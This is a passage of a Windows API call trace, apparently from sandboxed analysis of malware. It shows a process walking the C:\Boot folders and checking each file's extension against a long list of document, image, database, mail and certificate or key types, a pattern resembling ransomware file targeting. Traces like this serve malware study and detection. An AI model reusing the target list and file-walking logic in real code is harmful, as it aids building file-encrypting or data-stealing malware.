	[0153.388] lstrlenW (lpString=".cpp") returned 4
	[0153.388] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0153.388] lstrlenW (lpString=".cr2") returned 4
	[0153.388] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0153.388] lstrlenW (lpString=".crt") returned 4
	[0153.388] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0153.388] lstrlenW (lpString=".crw") returned 4
	[0153.388] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0153.388] lstrlenW (lpString=".cs") returned 3
	[0153.388] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0153.388] lstrlenW (lpString=".css") returned 4
	[0153.388] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0153.388] lstrlenW (lpString=".csv") returned 4
	[0153.388] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0153.388] lstrlenW (lpString=".cub") returned 4
	[0153.388] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0153.388] lstrlenW (lpString=".dae") returned 4
	[0153.388] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0153.388] lstrlenW (lpString=".dat") returned 4
	[0153.388] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0153.388] lstrlenW (lpString=".db") returned 3
	[0153.388] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0153.388] lstrlenW (lpString=".dbf") returned 4
	[0153.388] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.388] lstrlenW (lpString=".dbx") returned 4
	[0153.388] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0153.388] lstrlenW (lpString=".dc3") returned 4
	[0153.388] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0153.389] lstrlenW (lpString=".dcm") returned 4
	[0153.389] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0153.389] lstrlenW (lpString=".dcr") returned 4
	[0153.389] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0153.389] lstrlenW (lpString=".der") returned 4
	[0153.389] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0153.389] lstrlenW (lpString=".dib") returned 4
	[0153.389] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0153.389] lstrlenW (lpString=".dic") returned 4
	[0153.389] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0153.389] lstrlenW (lpString=".dif") returned 4
	[0153.389] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0153.389] lstrlenW (lpString=".divx") returned 5
	[0153.389] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0153.389] lstrlenW (lpString=".djvu") returned 5
	[0153.389] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0153.389] lstrlenW (lpString=".dng") returned 4
	[0153.389] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0153.389] lstrlenW (lpString=".doc") returned 4
	[0153.389] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.389] lstrlenW (lpString=".docm") returned 5
	[0153.389] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0153.389] lstrlenW (lpString=".docx") returned 5
	[0153.389] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.389] lstrlenW (lpString=".dot") returned 4
	[0153.389] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0153.389] lstrlenW (lpString=".dotm") returned 5
	[0153.389] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0153.389] lstrlenW (lpString=".dotx") returned 5
	[0153.389] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0153.389] lstrlenW (lpString=".dpx") returned 4
	[0153.389] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0153.389] lstrlenW (lpString=".dqy") returned 4
	[0153.389] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0153.389] lstrlenW (lpString=".dsn") returned 4
	[0153.389] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0153.389] lstrlenW (lpString=".dt") returned 3
	[0153.389] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0153.389] lstrlenW (lpString=".dtd") returned 4
	[0153.390] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0153.390] lstrlenW (lpString=".dwg") returned 4
	[0153.390] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0153.390] lstrlenW (lpString=".dwt") returned 4
	[0153.390] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0153.390] lstrlenW (lpString=".dx") returned 3
	[0153.390] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0153.390] lstrlenW (lpString=".dxf") returned 4
	[0153.390] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0153.390] lstrlenW (lpString=".edml") returned 5
	[0153.390] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0153.390] lstrlenW (lpString=".efd") returned 4
	[0153.390] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0153.390] lstrlenW (lpString=".elf") returned 4
	[0153.390] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0153.390] lstrlenW (lpString=".emf") returned 4
	[0153.390] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0153.390] lstrlenW (lpString=".emz") returned 4
	[0153.390] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0153.390] lstrlenW (lpString=".epf") returned 4
	[0153.390] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0153.390] lstrlenW (lpString=".eps") returned 4
	[0153.390] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0153.390] lstrlenW (lpString=".epsf") returned 5
	[0153.390] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0153.390] lstrlenW (lpString=".epsp") returned 5
	[0153.390] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0153.390] lstrlenW (lpString=".erf") returned 4
	[0153.390] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0153.390] lstrlenW (lpString=".exr") returned 4
	[0153.390] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0153.390] lstrlenW (lpString=".f4v") returned 4
	[0153.390] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0153.390] lstrlenW (lpString=".fido") returned 5
	[0153.390] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0153.390] lstrlenW (lpString=".flm") returned 4
	[0153.390] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0153.390] lstrlenW (lpString=".flv") returned 4
	[0153.391] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0153.391] lstrlenW (lpString=".frm") returned 4
	[0153.391] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0153.391] lstrlenW (lpString=".fxg") returned 4
	[0153.391] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0153.391] lstrlenW (lpString=".geo") returned 4
	[0153.391] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0153.391] lstrlenW (lpString=".gif") returned 4
	[0153.391] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0153.391] lstrlenW (lpString=".grs") returned 4
	[0153.391] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0153.391] lstrlenW (lpString=".gz") returned 3
	[0153.391] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0153.391] lstrlenW (lpString=".h") returned 2
	[0153.391] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0153.391] lstrlenW (lpString=".hdr") returned 4
	[0153.391] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0153.391] lstrlenW (lpString=".hpp") returned 4
	[0153.391] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0153.391] lstrlenW (lpString=".hta") returned 4
	[0153.391] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0153.391] lstrlenW (lpString=".htc") returned 4
	[0153.391] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0153.391] lstrlenW (lpString=".htm") returned 4
	[0153.391] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0153.391] lstrlenW (lpString=".html") returned 5
	[0153.391] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0153.391] lstrlenW (lpString=".icb") returned 4
	[0153.391] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0153.391] lstrlenW (lpString=".ics") returned 4
	[0153.391] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0153.391] lstrlenW (lpString=".iff") returned 4
	[0153.391] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0153.391] lstrlenW (lpString=".inc") returned 4
	[0153.391] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0153.391] lstrlenW (lpString=".indd") returned 5
	[0153.391] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0153.391] lstrlenW (lpString=".ini") returned 4
	[0153.391] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0153.392] lstrlenW (lpString=".iqy") returned 4
	[0153.392] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0153.392] lstrlenW (lpString=".j2c") returned 4
	[0153.392] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0153.392] lstrlenW (lpString=".j2k") returned 4
	[0153.392] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0153.392] lstrlenW (lpString=".java") returned 5
	[0153.392] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0153.392] lstrlenW (lpString=".jp2") returned 4
	[0153.392] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0153.392] lstrlenW (lpString=".jpc") returned 4
	[0153.392] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0153.392] lstrlenW (lpString=".jpe") returned 4
	[0153.392] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0153.392] lstrlenW (lpString=".jpeg") returned 5
	[0153.392] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0153.392] lstrlenW (lpString=".jpf") returned 4
	[0153.392] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0153.392] lstrlenW (lpString=".jpg") returned 4
	[0153.392] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.392] lstrlenW (lpString=".jpx") returned 4
	[0153.392] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0153.392] lstrlenW (lpString=".js") returned 3
	[0153.392] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0153.392] lstrlenW (lpString=".jsf") returned 4
	[0153.392] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0153.392] lstrlenW (lpString=".json") returned 5
	[0153.392] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0153.392] lstrlenW (lpString=".jsp") returned 4
	[0153.392] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0153.392] lstrlenW (lpString=".kdc") returned 4
	[0153.392] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0153.392] lstrlenW (lpString=".kmz") returned 4
	[0153.392] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0153.392] lstrlenW (lpString=".kwm") returned 4
	[0153.392] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0153.392] lstrlenW (lpString=".lasso") returned 6
	[0153.392] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0153.392] lstrlenW (lpString=".lbi") returned 4
	[0153.393] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0153.393] lstrlenW (lpString=".lgf") returned 4
	[0153.393] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0153.393] lstrlenW (lpString=".lgp") returned 4
	[0153.393] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0153.393] lstrlenW (lpString=".log") returned 4
	[0153.393] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0153.393] lstrlenW (lpString=".m1v") returned 4
	[0153.393] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0153.393] lstrlenW (lpString=".m4a") returned 4
	[0153.393] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0153.393] lstrlenW (lpString=".m4v") returned 4
	[0153.393] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0153.393] lstrlenW (lpString=".max") returned 4
	[0153.393] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0153.393] lstrlenW (lpString=".md") returned 3
	[0153.393] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0153.393] lstrlenW (lpString=".mda") returned 4
	[0153.393] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0153.393] lstrlenW (lpString=".mdb") returned 4
	[0153.393] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0153.393] lstrlenW (lpString=".mde") returned 4
	[0153.393] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0153.393] lstrlenW (lpString=".mdf") returned 4
	[0153.393] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0153.393] lstrlenW (lpString=".mdw") returned 4
	[0153.393] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0153.393] lstrlenW (lpString=".mef") returned 4
	[0153.393] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0153.393] lstrlenW (lpString=".mft") returned 4
	[0153.393] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0153.393] lstrlenW (lpString=".mfw") returned 4
	[0153.393] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0153.393] lstrlenW (lpString=".mht") returned 4
	[0153.393] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0153.393] lstrlenW (lpString=".mhtml") returned 6
	[0153.393] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0153.393] lstrlenW (lpString=".mka") returned 4
	[0153.393] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0153.394] lstrlenW (lpString=".mkidx") returned 6
	[0153.394] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0153.394] lstrlenW (lpString=".mkv") returned 4
	[0153.394] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0153.394] lstrlenW (lpString=".mos") returned 4
	[0153.394] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0153.394] lstrlenW (lpString=".mov") returned 4
	[0153.394] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0153.394] lstrlenW (lpString=".mp3") returned 4
	[0153.394] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0153.394] lstrlenW (lpString=".mp4") returned 4
	[0153.394] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0153.394] lstrlenW (lpString=".mpeg") returned 5
	[0153.394] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0153.394] lstrlenW (lpString=".mpg") returned 4
	[0153.394] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0153.394] lstrlenW (lpString=".mpv") returned 4
	[0153.394] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0153.394] lstrlenW (lpString=".mrw") returned 4
	[0153.394] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0153.394] lstrlenW (lpString=".msg") returned 4
	[0153.394] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0153.394] lstrlenW (lpString=".mxl") returned 4
	[0153.394] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0153.398] lstrlenW (lpString=".myd") returned 4
	[0153.398] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0153.398] lstrlenW (lpString=".myi") returned 4
	[0153.398] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0153.398] lstrlenW (lpString=".nef") returned 4
	[0153.398] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0153.398] lstrlenW (lpString=".nrw") returned 4
	[0153.398] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0153.398] lstrlenW (lpString=".obj") returned 4
	[0153.398] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0153.398] lstrlenW (lpString=".odb") returned 4
	[0153.398] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0153.398] lstrlenW (lpString=".odc") returned 4
	[0153.398] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0153.398] lstrlenW (lpString=".odm") returned 4
	[0153.398] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0153.398] lstrlenW (lpString=".odp") returned 4
	[0153.398] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0153.398] lstrlenW (lpString=".ods") returned 4
	[0153.398] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0153.398] lstrlenW (lpString=".oft") returned 4
	[0153.398] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0153.398] lstrlenW (lpString=".one") returned 4
	[0153.398] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0153.398] lstrlenW (lpString=".onepkg") returned 7
	[0153.398] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0153.398] lstrlenW (lpString=".onetoc2") returned 8
	[0153.398] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0153.398] lstrlenW (lpString=".opt") returned 4
	[0153.398] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0153.398] lstrlenW (lpString=".oqy") returned 4
	[0153.398] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0153.398] lstrlenW (lpString=".orf") returned 4
	[0153.398] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0153.398] lstrlenW (lpString=".p12") returned 4
	[0153.398] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0153.398] lstrlenW (lpString=".p7b") returned 4
	[0153.399] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0153.399] lstrlenW (lpString=".p7c") returned 4
	[0153.399] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0153.399] lstrlenW (lpString=".pam") returned 4
	[0153.399] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0153.399] lstrlenW (lpString=".pbm") returned 4
	[0153.399] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0153.399] lstrlenW (lpString=".pct") returned 4
	[0153.399] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0153.399] lstrlenW (lpString=".pcx") returned 4
	[0153.399] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0153.399] lstrlenW (lpString=".pdd") returned 4
	[0153.399] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0153.399] lstrlenW (lpString=".pdf") returned 4
	[0153.399] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.399] lstrlenW (lpString=".pdp") returned 4
	[0153.399] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0153.399] lstrlenW (lpString=".pef") returned 4
	[0153.399] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0153.399] lstrlenW (lpString=".pem") returned 4
	[0153.399] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0153.399] lstrlenW (lpString=".pff") returned 4
	[0153.399] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0153.399] lstrlenW (lpString=".pfm") returned 4
	[0153.399] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0153.399] lstrlenW (lpString=".pfx") returned 4
	[0153.399] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0153.399] lstrlenW (lpString=".pgm") returned 4
	[0153.399] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0153.399] lstrlenW (lpString=".php") returned 4
	[0153.399] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0153.399] lstrlenW (lpString=".php3") returned 5
	[0153.399] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0153.399] lstrlenW (lpString=".php4") returned 5
	[0153.399] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0153.399] lstrlenW (lpString=".php5") returned 5
	[0153.399] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0153.399] lstrlenW (lpString=".phtml") returned 6
	[0153.400] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0153.400] lstrlenW (lpString=".pict") returned 5
	[0153.400] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0153.400] lstrlenW (lpString=".pl") returned 3
	[0153.400] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0153.400] lstrlenW (lpString=".pls") returned 4
	[0153.400] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0153.400] lstrlenW (lpString=".pm") returned 3
	[0153.400] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0153.400] lstrlenW (lpString=".png") returned 4
	[0153.400] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0153.400] lstrlenW (lpString=".pnm") returned 4
	[0153.400] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0153.400] lstrlenW (lpString=".pot") returned 4
	[0153.400] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0153.400] lstrlenW (lpString=".potm") returned 5
	[0153.400] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0153.400] lstrlenW (lpString=".potx") returned 5
	[0153.400] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0153.400] lstrlenW (lpString=".ppa") returned 4
	[0153.400] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0153.400] lstrlenW (lpString=".ppam") returned 5
	[0153.400] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0153.400] lstrlenW (lpString=".ppm") returned 4
	[0153.400] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0153.400] lstrlenW (lpString=".pps") returned 4
	[0153.400] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0153.400] lstrlenW (lpString=".ppsm") returned 5
	[0153.400] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0153.400] lstrlenW (lpString=".ppt") returned 4
	[0153.400] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.400] lstrlenW (lpString=".pptm") returned 5
	[0153.400] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0153.400] lstrlenW (lpString=".pptx") returned 5
	[0153.400] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0153.400] lstrlenW (lpString=".prn") returned 4
	[0153.400] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0153.400] lstrlenW (lpString=".ps") returned 3
	[0153.400] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0153.401] lstrlenW (lpString=".psb") returned 4
	[0153.401] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0153.401] lstrlenW (lpString=".psd") returned 4
	[0153.401] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0153.401] lstrlenW (lpString=".pst") returned 4
	[0153.401] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0153.401] lstrlenW (lpString=".ptx") returned 4
	[0153.401] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0153.401] lstrlenW (lpString=".pub") returned 4
	[0153.401] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0153.401] lstrlenW (lpString=".pwm") returned 4
	[0153.401] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0153.401] lstrlenW (lpString=".pxr") returned 4
	[0153.401] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0153.401] lstrlenW (lpString=".py") returned 3
	[0153.401] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0153.401] lstrlenW (lpString=".qt") returned 3
	[0153.401] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0153.401] lstrlenW (lpString=".r3d") returned 4
	[0153.401] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0153.401] FindNextFileW (in: hFindFile=0x4140818, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe179, dwReserved1=0x17a, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0153.401] FindNextFileW (in: hFindFile=0x4140818, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe179, dwReserved1=0x17a, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0153.401] FindClose (in: hFindFile=0x4140818 | out: hFindFile=0x4140818) returned 1
	[0153.401] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.401] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0153.402] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.402] lstrlenW (lpString="C:\\Boot\\de-DE") returned 13
	[0153.402] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe179, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x4140718
	[0153.402] FindNextFileW (in: hFindFile=0x4140718, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe179, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.402] FindNextFileW (in: hFindFile=0x4140718, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0xffffe179, dwReserved1=0x17a, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0153.402] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0153.402] lstrlenW (lpString=".1cd") returned 4
	[0153.402] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.402] lstrlenW (lpString=".3ds") returned 4
